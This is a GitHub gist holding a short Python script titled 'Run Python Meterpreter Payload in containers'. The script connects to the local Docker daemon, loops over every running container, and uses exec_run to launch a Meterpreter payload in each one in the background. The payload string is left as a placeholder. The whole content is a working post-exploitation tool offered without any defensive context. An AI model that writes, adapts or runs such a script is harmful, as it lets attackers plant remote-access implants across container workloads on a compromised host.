Skip to content

Instantly share code, notes, and snippets.

@pasknel
Created June 20, 2019 13:58
Show Gist options
  • Save pasknel/8450fe023cf3499f3fc960c02d74642a to your computer and use it in GitHub Desktop.
Save pasknel/8450fe023cf3499f3fc960c02d74642a to your computer and use it in GitHub Desktop.
Run Python Meterpreter Payload in containers
import docker
client = docker.from_env()
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
cmd = 'python -c "{0}"'.format(payload)
for container in client.containers.list():
try:
print "[*] Injecting meterpreter (python) in container: {0}".format(container.short_id)
container.exec_run(cmd, detach = True)
except Exception as e:
print e
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment